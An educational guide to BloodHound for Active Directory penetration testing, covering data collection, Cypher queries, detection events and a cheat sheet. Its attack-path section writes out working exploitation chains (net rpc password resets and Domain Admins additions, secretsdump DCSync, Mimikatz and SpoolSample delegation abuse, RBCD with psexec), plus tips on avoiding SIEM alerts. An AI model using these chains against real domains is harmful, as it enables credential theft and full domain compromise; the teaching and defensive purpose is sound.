

BLOODHOUND

Active Directory Attack Path Analysis

A Teachable Reference Guide

Collection | Cypher Queries | Attack Paths | Defense

Compiled for CTF & Penetration Testing Education

June 2026

BloodHound uses graph theory to map Active Directory relationships and reveal attack paths that would take days to uncover manually. This writeup covers the full workflow: collecting data with SharpHound, querying the graph with Cypher, understanding common attack chains, and how defenders detect each technique.

17+

Cypher Queries

6

Attack Path Categories

100%

CTF & Real-World

Table of Contents

- 1 What Is BloodHound?**
Architecture, components, and why it matters
- 2 Installation & Setup**
Kali, BloodHound CE, Neo4j
- 3 SharpHound Data Collection**
All collection methods with sample output
- 4 bloodhound-python (Linux)**
Remote collection without a Windows binary
- 5 Cypher Query Reference**
17 ready-to-use queries with explanations
- 6 Common Attack Paths**
GenericAll, DCSync, Delegation, RBCD
- 7 Operational Tips**
Workflow advice for real engagements
- 8 Blue Team & Detection**
What defenders monitor for
- 9 Quick-Reference Cheat Sheet**
All commands on one page

1 What Is BloodHound?

BloodHound is an open-source Active Directory (AD) reconnaissance tool built on graph theory. It ingests data from a Windows domain and models every relationship between users, computers, groups, GPOs, OUs, and ACLs as a Neo4j graph. The result is a visual, interactive map of every privilege escalation and lateral movement path in the environment.

The key insight is that AD attack paths are rarely direct. A low-privilege user might have **GenericWrite** over a service account, which is a member of a group that has **WriteDACL** on the Domain object — giving an attacker DCSync rights in three hops. BloodHound finds those chains automatically in milliseconds.

Core Components

Component	Role	Platform
SharpHound	Data collector — queries LDAP, SMB, NetAPI to produce JSON	Windows (.exe/.ps1)
bloodhound-python	Python ingestor — same data remotely, no Windows needed	Linux / Mac
BloodHound GUI	Neo4j-powered graph interface for analysis and path finding	Cross-platform
Neo4j	Graph database backend that stores and queries AD relationships	Cross-platform

[!] Why Graph Theory?

Traditional AD tools output flat lists. BloodHound models AD as a directed graph where nodes are principals (users, computers, groups) and edges are relationships (MemberOf, AdminTo, GenericAll). Finding the shortest attack path becomes a Dijkstra-style traversal — something Neo4j handles natively with Cypher queries like `shortestPath()`.

2 Installation & Setup

2.1 Kali Linux (Classic BloodHound)

[COMMAND]

```
sudo apt update && sudo apt install bloodhound -y  
sudo neo4j console # Start the database – keep this terminal open  
bloodhound # Launch GUI in a new terminal
```

[SAMPLE OUTPUT]

```
[+] Neo4j started on http://localhost:7474  
[+] Default creds: neo4j:neo4j (you will be prompted to change on first login)  
[+] BloodHound GUI opening... Drag-drop a SharpHound ZIP to populate the graph
```

[!] First Login

Navigate to <http://localhost:7474> in your browser. Log in with neo4j:neo4j and change the password. Then use the same new password in the BloodHound GUI login screen. The graph will be empty until you import a SharpHound ZIP.

2.2 BloodHound CE (Community Edition — Docker)

The newer SpecterOps-maintained version. Recommended for new setups. Exposes a web UI at port 8080.

[COMMAND]

```
git clone https://github.com/SpecterOps/BloodHound.git  
cd BloodHound  
docker-compose -f docker-compose.yml up
```

[SAMPLE OUTPUT]

```
[+] Web UI: http://localhost:8080  
[+] Default creds: admin:bloodhoundcommunityedition  
[+] Upload ZIPs via the UI – no Neo4j browser needed
```

3 SharpHound Data Collection

SharpHound runs on a domain-joined Windows machine (or via **runas /netonly** from a non-joined host) and produces a ZIP of JSON files. Drag-drop that ZIP into the BloodHound GUI to populate the graph.

3.1 Full Collection — All Methods

Runs every collection method: Sessions, ACLs, LocalGroups, Trusts, ObjectProps, Containers, GPOs, SPNs. Best for a thorough engagement when stealth is not required.

[COMMAND]

```
.\SharpHound.exe -c All
```

[SAMPLE OUTPUT]

```
[*] Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn,
Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[*] Starting Enumeration for corp.local
[*] Found 312 users, 87 computers, 45 groups
[*] Completed enumeration in 00:02:14
[*] Output: 20240615_135244_BloodHound.zip
```

3.2 Target a Specific Domain

Scope collection to one domain — useful in multi-domain forests.

[COMMAND]

```
.\SharpHound.exe -c All -d corp.local
```

[SAMPLE OUTPUT]

```
[*] Targeting domain: corp.local
[*] Found DC: DC01.corp.local (192.168.1.10)
[*] Enumerated 1,204 objects
```

3.3 Alternate Credentials

You have captured credentials but are on a non-domain machine, or want to enumerate as a different user.

[COMMAND]

```
.\SharpHound.exe -c All --ldapusername jdoe --ldappassword 'P@ssw0rd!' -d corp.local
```

[SAMPLE OUTPUT]

```
[*] Authenticating as jdoe@corp.local
[*] LDAP connection established to DC01.corp.local
[*] Collection completed — 20240615_BloodHound.zip
```

3.4 Stealth Session Loop

Instead of a noisy full sweep, this only collects active sessions (who is logged in where right now) on a repeating interval. Over 2 hours it builds a richer session map — critical for HasSession attack paths. A single snapshot misses transient DA logons; the loop catches all of them.

[COMMAND]

```
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
```

[SAMPLE OUTPUT]

```
[*] Session loop — every 5 min for 2 hours
[*] Loop 1/24: Found 23 active sessions
[*] Loop 6/24: Found 31 active sessions (+8 new principals seen)
[*] Loop 12/24: Found 19 active sessions
[*] Loop 24/24: Complete. Sessions aggregated across all 24 runs.
```

3.5 Exclude Domain Controllers (Reduce Noise)

DCs log every remote session enumeration attempt. Excluding them avoids generating obvious SIEM alerts on the most-monitored machines in the environment.

[COMMAND]

```
.\SharpHound.exe -c All --ExcludeDCs
```

[SAMPLE OUTPUT]

```
[*] Domain controllers excluded from session enumeration
[*] Enumeration complete — 1,101 objects collected
```

3.6 Selective Collection Methods

Useful when you already have a partial graph and only need to refresh specific data types. ACL + ObjectProps together provide the richest source of privilege escalation paths.

[COMMAND]

```
.\SharpHound.exe -c ACL,ObjectProps,Trusts
```

[SAMPLE OUTPUT]

```
[*] Collection Methods: ACL, ObjectProps, Trusts
[*] Skipping session and localgroup enumeration
[*] Collected 4,211 ACL edges, 1,204 object properties, 3 trust relationships
```

4 bloodhound-python (Linux Collection)

When you cannot drop a binary on a Windows host — or you are running the engagement entirely from Kali — **bloodhound-python** performs the same LDAP/SMB queries remotely using credentials or Kerberos tickets.

4.1 Install

[COMMAND]

```
pip install bloodhound  
  
# or on Kali: sudo apt install bloodhound.py -y
```

4.2 Password Authentication

[COMMAND]

```
bloodhound-python -u jdoe -p 'P@ssw0rd!' -d corp.local -ns 192.168.1.10 -c All
```

[SAMPLE OUTPUT]

```
INFO: Found AD domain: corp.local  
INFO: Getting TGT for user  
INFO: Connecting to LDAP server: dc01.corp.local  
INFO: Found 1 domains, 3 DCs, 312 computers, 1,204 users  
INFO: Done in 00M 47S  
INFO: Output: computers.json, users.json, groups.json, domains.json ...
```

-ns sets the DNS nameserver (use the DC IP). **-c All** runs all collection methods.

4.3 Kerberos Authentication (Pass-the-Ticket)

[COMMAND]

```
export KRB5CCNAME=/tmp/jdoe.ccache  
bloodhound-python -u jdoe -k -no-pass -d corp.local -ns 192.168.1.10 -c All
```

[SAMPLE OUTPUT]

```
INFO: Using Kerberos authentication with ccache: /tmp/jdoe.ccache  
INFO: Successfully authenticated as jdoe@CORP.LOCAL  
INFO: Collection complete
```

4.4 Target a Specific Domain Controller

[COMMAND]

```
bloodhound-python -u jdoe -p 'P@ssw0rd!' -d corp.local -dc dc01.corp.local -c All
```

[!] Firewall Consideration

bloodhound-python requires port 389 (LDAP) and 445 (SMB) to the DC. If you are behind NAT or a firewall, proxy it: `proxychains bloodhound-python -u jdoe ...`

5 Cypher Query Reference

Cypher is Neo4j's query language. Paste these into the BloodHound **Raw Query** box (magnifying glass icon, then click the '>_' toggle). Results render as an interactive graph or table depending on what you RETURN.

Node labels: User, Computer, Group, Domain, GPO, OU | **Key edge types:** MemberOf, AdminTo, HasSession, GenericAll, GenericWrite, WriteDACL, AllExtendedRights, DCSync, CanRDP, AllowedToDelegate

5.1 All Domain Admins

Returns every user that is a member of any Domain Admins group, including nested memberships. The ***1..** means one or more hops through MemberOf edges. Good baseline to run first.

```
[CYPHER QUERY]
MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.name =~ "(?i).*domain admins.*"
RETURN u.name

[SAMPLE OUTPUT]
u.name
-----
ADMINISTRATOR@CORP.LOCAL
SVC_BACKUP@CORP.LOCAL
JSMITH@CORP.LOCAL
(3 rows)
```

5.2 Kerberoastable Users

Finds accounts with a Service Principal Name (SPN) set. Request a TGS with **GetUserSPNs.py** then crack the hash offline. The SPN tells you exactly what service this account runs.

```
[CYPHER QUERY]
MATCH (u:User {haspn:true})
RETURN u.name, u.serviceprincipalnames

[SAMPLE OUTPUT]
u.name u.serviceprincipalnames
-----
SVC_SQL@CORP.LOCAL ["MSSQLSvc/sql01.corp.local:1433"]
SVC_IIS@CORP.LOCAL ["HTTP/web01.corp.local"]
SVC_BACKUP@CORP.LOCAL ["host/backup01.corp.local"]
(3 rows)
```

5.3 AS-REP Roastable Users

Kerberos pre-auth is disabled on these accounts. You can request an AS-REP without credentials and crack the encrypted blob offline with hashcat. No foothold needed — just network access to the DC.

```
[CYPHER QUERY]
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

[SAMPLE OUTPUT]
u.name
-----
LEGACYUSER@CORP.LOCAL
SVCOLD@CORP.LOCAL
(2 rows)
```

5.4 Shortest Path to Domain Admin

The classic BloodHound query. Replace the username and domain with yours. First mark compromised accounts as Owned (right-click), then this query shows your actual shortest path to DA.

```
[CYPHER QUERY]
MATCH p = shortestPath(
  (u:User {name:"JDOE@CORP.LOCAL"})
  -[*1..]->
  (g:Group {name:"DOMAIN ADMIN@CORP.LOCAL"})
)
RETURN p

[SAMPLE OUTPUT]
Path found (3 hops):
JDOE@CORP.LOCAL
--[MemberOf]--> IT_HELPDESK@CORP.LOCAL
--[GenericAll]--> SVC_SQL@CORP.LOCAL
--[MemberOf]--> DOMAIN ADMIN@CORP.LOCAL
```

5.5 DCSync-Capable Principals

DCSync requires the GetChangesAll extended right on the Domain object. These principals can dump every hash in the domain using Impacket secretsdump — without touching LSASS.

```
[CYPHER QUERY]
MATCH p = (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)
RETURN p
```

```
[SAMPLE OUTPUT]
n.name edge d.name
-----
BACKUP_ADMIN@CORP.LOCAL DCSync CORP.LOCAL
SVC_REPL@CORP.LOCAL AllExtendedRights CORP.LOCAL
[!] 2 non-DA accounts can dump the entire domain!
```

5.6 Unconstrained Delegation Computers

These machines store a copy of every user's TGT in LSASS when they authenticate. Compromise the machine, extract TGTs with Mimikatz, and impersonate any user including Domain Admins. Combine with the Printer Bug (SpoolSample) to coerce DC authentication.

```
[CYPHER QUERY]
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

[SAMPLE OUTPUT]
c.name
-----
EXCHANGE01.CORP.LOCAL
FILESERVER02.CORP.LOCAL
(2 high-value targets)
```

5.7 Constrained Delegation Targets

Shows which services each computer is allowed to delegate to. If the account also has 'Use any authentication protocol' (protocol transition), it can impersonate any user to those services — including Domain Admins.

```
[CYPHER QUERY]
MATCH (c:Computer)
WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate

[SAMPLE OUTPUT]
c.name c.allowedtodelegate
-----
WEB01.CORP.LOCAL ["cifs/DC01.corp.local"]
APPSERVER.CORP.LOCAL ["http/sharepoint.corp.local"]
```

5.8 Passwords That Never Expire

Service accounts and legacy accounts that never rotate are high-value targets. A cracked or leaked hash stays valid indefinitely. 47 accounts is a serious finding in any engagement report.

```
[CYPHER QUERY]
MATCH (u:User {pwdneverexpires:true})
WHERE u.enabled = true
RETURN u.name

[SAMPLE OUTPUT]
u.name
-----
SVC_SQL@CORP.LOCAL
SCANNER@CORP.LOCAL
OLDADMIN@CORP.LOCAL
(47 total) -- permanent passwords on 47 active accounts!
```

5.9 Domain Users as Local Admin

If the Domain Users built-in group has AdminTo edges to any computer, every domain account is a local admin there. This is trivial lateral movement — any phished user becomes a foothold.

```
[CYPHER QUERY]
MATCH p = (g:Group)-[:AdminTo]->(c:Computer)
WHERE g.name =~ "(?i).*domain users.*"
RETURN p

[SAMPLE OUTPUT]
[CRITICAL] DOMAIN_USERS@CORP.LOCAL --[AdminTo]--> DEVBOX01.CORP.LOCAL
[CRITICAL] DOMAIN_USERS@CORP.LOCAL --[AdminTo]--> TESTPC03.CORP.LOCAL
All 1,204 domain accounts are local admin on these 2 machines.
```

5.10 GenericAll Abuse Paths

GenericAll (Full Control) over another object means you can reset their password, add yourself to their groups, or modify their ACLs. This is the highest-impact ACE short of DCSync.

```
[CYPHER QUERY]
MATCH p = (u:User)-[:GenericAll]->(t)
RETURN p

[SAMPLE OUTPUT]
JDOE@CORP.LOCAL --[GenericAll]--> SVC_BACKUP@CORP.LOCAL
```

```
HELPDESK@CORP.LOCAL --[GenericAll]--> WORKSTATION_OU  
Next step: reset SVC_BACKUP password, use its DCSync rights
```

5.11 WriteDACL on Domain

WriteDACL on the Domain object lets you grant yourself DCSync rights at will — without any existing special permissions. One of the most dangerous misconfigurations because it is invisible until you check ACLs.

```
[CYPHER QUERY]  
MATCH p = (n)-[:WriteDacl]->(d:Domain) RETURN p  
  
[SAMPLE OUTPUT]  
IT_AUTOMATION@CORP.LOCAL --[WriteDacl]--> CORP.LOCAL  
Grant self DCSync --> secretsdump --> all hashes
```

5.12 Kerberoastable Domain Admins

The worst combination: a DA account with an SPN. Cracking the TGS hash gives you Domain Admin directly. Always check this before reporting Kerberoastable users.

```
[CYPHER QUERY]  
MATCH (u:User {haspn:true})-[:MemberOf*1..]->(g:Group)  
WHERE g.name =~ "(?i).*domain admins.*"  
RETURN u.name  
  
[SAMPLE OUTPUT]  
u.name  
-----  
SVC_BACKUP@CORP.LOCAL <-- DA + Kerberoastable = instant full compromise
```

5.13 Outdated / EOL Operating Systems

Hosts running XP, 7, 2003, or 2008 are likely unpatched. These are often EternalBlue / MS17-010 targets — exploitable without credentials.

```
[CYPHER QUERY]  
MATCH (c:Computer)  
WHERE c.operatingsystem =~ "(?i).*(xp|windows 7|2003|2008).*"   
RETURN c.name, c.operatingsystem  
  
[SAMPLE OUTPUT]  
c.name c.operatingsystem  
-----  
OLDPC01.CORP.LOCAL Windows XP Professional
```

```
LEGACYSRV.CORP.LOCAL Windows Server 2003
KIOSK04.CORP.LOCAL Windows 7 Enterprise
```

5.14 Cross-Domain Trust Mapping

BloodHound maps inter-domain trusts. Users in a trusted domain may have admin rights in yours. Always follow up with a cross-domain AdminTo search.

```
[CYPHER QUERY]
MATCH p = (d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN p

-- Cross-domain admin paths:
MATCH p = (u:User)-[:AdminTo]->(c:Computer)
WHERE u.domain <> c.domain RETURN p

[SAMPLE OUTPUT]
CORP.LOCAL --[TrustedBy]--> PARTNER.LOCAL
JDOE@PARTNER.LOCAL --[AdminTo]--> FILESERVER.CORP.LOCAL
```

5.15 RBCD Paths (AllowedToAct)

AllowedToAct edges indicate Resource-Based Constrained Delegation is configured. If you can write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on a computer, you can impersonate any user to that machine.

```
[CYPHER QUERY]
MATCH p = (u)-[:AllowedToAct]->(c:Computer) RETURN p

[SAMPLE OUTPUT]
WEBSERVER_SVC@CORP.LOCAL --[AllowedToAct]--> DC01.CORP.LOCAL
Can impersonate Administrator to DC01 -- full domain via Silver Ticket
```

5.16 GPO Write Paths

Write access on a GPO means code execution on every computer the GPO applies to. Finding GenericWrite on a GPO linked to all workstations is functionally equivalent to having AdminTo on all of them.

```
[CYPHER QUERY]
MATCH p = (u:User)-[:GenericWrite]->(g:GPO)-[:GPLink]->(c) RETURN p

[SAMPLE OUTPUT]
JDOE@CORP.LOCAL --[GenericWrite]--> CORP_BASELINE_GPO
CORP_BASELINE_GPO --[GPLink]--> WORKSTATIONS_OU (87 computers)
Arbitrary code execution on 87 hosts via GPO
```

5.17 Clear the Database

Always wipe old data before importing a new engagement ZIP. Mixing environments produces false attack paths that waste time and create incorrect client findings.

[CYPHER QUERY]

```
MATCH (n) DETACH DELETE n
```

[SAMPLE OUTPUT]

```
Deleted 4,821 nodes, 12,304 relationships in 3.2s
```

```
Database empty -- ready for new import
```

6 Common Attack Paths Explained

GenericAll (Full Control) Abuse

A user with GenericAll over another user can reset their password without knowing the current one. Over a group — add yourself as a member. Over a computer — configure RBCD. This edge typically results from an overly broad AD delegation or a misconfigured ACL inherited from an OU. It is one of the most common high-severity findings in real engagements.

[EXPLOITATION CHAIN]

```
# 1. BloodHound finds the relationship:
MATCH p=(u:User)-[:GenericAll]->(t) RETURN p

# 2. Reset target password (from Linux with net rpc):
net rpc password SVC_BACKUP 'NewP@ss!' -U 'CORP/jdoe%P@ssw0rd!' -S dc01.corp.local

# 3. Or add yourself to a target group:
net rpc group addmem 'Domain Admins' jdoe -U 'CORP/jdoe%P@ssw0rd!' -S dc01.corp.local
```

DCSync Attack

DCSync mimics a Domain Controller replication request. Any principal with GetChangesAll (DCSync) or AllExtendedRights on the Domain object can pull every NT hash from the DC without touching LSASS on any machine. The attack is silent to most EDR products because it looks like normal AD replication traffic.

[EXPLOITATION CHAIN]

```
# Requires: DCSync, AllExtendedRights, or GenericAll on Domain object
impacket-secretsdump corp.local/backup_admin:'P@ssw0rd!'@dc01.corp.local -just-dc

# Output (hash dump):
Administrator:500:aad3b....:31d6c....:
krbtgt:502:aad3b....:e08d4....:
SVC_SQL:1103:aad3b....:5f28a....:
```

Unconstrained Delegation + Printer Bug

Unconstrained delegation machines store every authenticating user's TGT in LSASS. Combine with SpoolSample (Printer Bug) to coerce the DC to authenticate to your compromised machine — extracting the DC's own TGT. That ticket can then be used to request a TGT for any account, including krbtgt for a Golden Ticket.

[EXPLOITATION CHAIN]

```
# 1. BloodHound finds target:
```



```

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# 2. On the compromised delegation machine, listen for TGTs:
mimikatz # sekurlsa::tickets /export

# 3. Coerce DC auth with SpoolSample:
.\SpoolSample.exe DC01.corp.local FILESERVER02.corp.local

# 4. DC TGT now in LSASS -- export and pass-the-ticket:
mimikatz # kerberos::ptt [0;3e7]-2-1-DC01.kirbi

```

RBCD (Resource-Based Constrained Delegation)

If you have GenericWrite or WriteProperty over a computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, you can configure RBCD and get a service ticket as any user to that machine — no password required. This is increasingly common in modern AD environments.

```

[EXPLOITATION CHAIN]

# 1. Check for RBCD write paths in BloodHound:
MATCH p=(u)-[:AllowedToAct]->(c:Computer) RETURN p

# 2. Set RBCD on target (requires GenericWrite on target computer):
impacket-rbcd -action write -delegate-from 'ATTACKER$' \
-delegate-to 'DC01$' corp.local/jdoe:'P@ssw0rd!'

# 3. Get TGS as Administrator to DC01 (S4U2Proxy):
impacket-getST -spn cifs/DC01.corp.local -impersonate Administrator \
corp.local/'ATTACKER$':AttackerPass

# 4. Use the ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local

```

7 Operational Tips

[!] Mark Owned Nodes First

After gaining a foothold, right-click every compromised account and machine in BloodHound and select Mark as Owned. Then run Analysis -> Shortest Paths from Owned Principals. This immediately shows your real attack surface rather than all theoretical paths from scratch.

[!] Prioritise Edge Types, Not Just Paths

Focus on high-value edges: HasSession (who is logged where right now), AdminTo (local admin rights), GenericAll / GenericWrite (ACL abuse), WriteDACL (grant yourself any right), AllExtendedRights (many powerful operations), CanRDP (interactive access). Group memberships alone rarely give you anything actionable.

[!] Combine BloodHound with Impacket

BloodHound identifies the target; Impacket delivers the exploit. DCSync-capable account -> secretsdump. Kerberoastable DA -> GetUserSPNs.py. Unconstrained delegation -> ticketer. They are a pipeline, not alternatives. The BloodHound output IS the Impacket command arguments.

[!] Session Loops Over Full Collection

For longer engagements, always run a session loop in parallel. Session data changes minute-by-minute. A single snapshot misses Domain Admins who log in only at 9am. The loop catches every transient high-value session over the engagement window.

[!] Export Paths as PNG for Reports

Right-click an empty area in the GUI and select Export Graph -> PNG. Annotate the image in your report showing which hops map to which techniques (MemberOf = group membership, GenericAll = ACL abuse, etc.). Clients understand pictures far better than Cypher output.

[!] Clear the Database Between Engagements

Never mix data from different engagements. Run MATCH (n) DETACH DELETE n in the raw query box before each new import. Cross-contamination produces false attack paths that waste your time and produce incorrect client findings.

[!] Use BloodHound Defensively

Schedule quarterly BloodHound runs in your own environment. Fix every path to Domain Admins you find. BloodHound as a defensive audit tool is just as valuable as using it offensively. Attackers are already running it against you — beat them to it.

8 Blue Team & Detection

Understanding detection helps you operate more effectively offensively and write stronger defensive recommendations for client reports. Every technique BloodHound reveals has a corresponding detection opportunity.

SharpHound collection	Hundreds of LDAP queries per second from one source; process named SharpHound.exe in Security logs	LDAP query rate alerting in SIEM; AV signatures for SharpHound binary hash
Session enumeration	Rapid SMB connections to many hosts; remote registry access events (4624 Type 3)	Restrict NetSessionEnum; disable remote registry service on workstations
Kerberoasting	Event 4769 — TGS-REQ with RC4 encryption from non-DC source	Use Group Managed Service Accounts (gMSA); alert on RC4 TGS requests
AS-REP Roasting	Event 4768 — AS-REQ without Kerberos pre-authentication	Enable pre-auth on all accounts; alert on 4768 with pre-auth type 0
DCSync	Event 4662 — replication request from a non-DC IP address	Alert on 4662 with GUID for GetChangesAll; restrict replication rights to DCs only
Unconstrained delegation	TGTs cached on non-DC machines; SpoolSample print spooler connections to DCs	Remove unconstrained delegation; disable print spooler on DCs; use Protected Users security group
RBCD abuse	Unexpected writes to msDS-AllowedToActOnBehalfOfOtherIdentity attribute	Alert on writes to RBCD attribute; restrict GenericWrite on computer objects
ACL abuse (GenericAll/WriteDACL)	Unexpected password resets, group membership changes, or ACL modifications	Audit AD ACLs quarterly; alert on changes to sensitive group memberships and domain ACLs

9 Quick-Reference Cheat Sheet

Goal	Command / Query
Install BloodHound (Kali)	<code>sudo apt install bloodhound -y</code>
Start Neo4j	<code>sudo neo4j console</code>
Full collection	<code>.\SharpHound.exe -c All</code>
Target domain	<code>.\SharpHound.exe -c All -d corp.local</code>
Alternate credentials	<code>--ldapusername jdoe --ldappassword 'P@ss'</code>
Stealth session loop	<code>--Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00</code>
Linux collection	<code>bloodhound-python -u jdoe -p 'P@ss' -d corp.local -c All</code>
Kerberos (Linux)	<code>-k -no-pass + KRB5CCNAME=/tmp/jdoe.ccache</code>
All Domain Admins	<code>MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE g.name=~'(?i).*domain admins.*'</code>
Kerberoastable	<code>MATCH (u:User {hasspn:true}) RETURN u.name</code>
AS-REP roastable	<code>MATCH (u:User {dontreqpreauth:true}) RETURN u.name</code>
Shortest path to DA	<code>shortestPath((u {name:'USER@DOM'})-[*1..]->(g {name:'DOMAIN ADMINS@DOM'}))</code>
DCSync-capable	<code>(n)-[:DCSync AllExtendedRights GenericAll]->(d:Domain)</code>
Unconstrained delegation	<code>MATCH (c:Computer {unconstraineddelegation:true})</code>
Constrained delegation	<code>WHERE c.allowedtodelegate IS NOT NULL</code>
Passwords never expire	<code>MATCH (u:User {pwdneverexpires:true}) WHERE u.enabled=true</code>
Domain Users as local admin	<code>(g:Group)-[:AdminTo]->(c) WHERE g.name=~'.*domain users.*'</code>
GenericAll paths	<code>(u:User)-[:GenericAll]->(t)</code>
WriteDACL on Domain	<code>(n)-[:WriteDacl]->(d:Domain)</code>
Outdated OS	<code>WHERE c.operatingsystem=~'(?i).*(xp windows 7 2003 2008).*</code>
RBCD paths	<code>(u)-[:AllowedToAct]->(c:Computer)</code>
GPO write paths	<code>(u)-[:GenericWrite]->(g:GPO)-[:GPLink]->(c)</code>
Domain trust map	<code>(d1:Domain)-[:TrustedBy]->(d2:Domain)</code>
DCSync with Impacket	<code>impacket-secretsdump corp.local/user:'pass'@dc01 -just-dc</code>
Wipe database	<code>MATCH (n) DETACH DELETE n</code>

[!] Responsible Use

BloodHound is a powerful offensive tool. Only run it against environments you own or have explicit written authorisation to test. Unauthorised use against production AD environments is illegal. Always agree scope, rules of engagement, and an emergency contact before running SharpHound.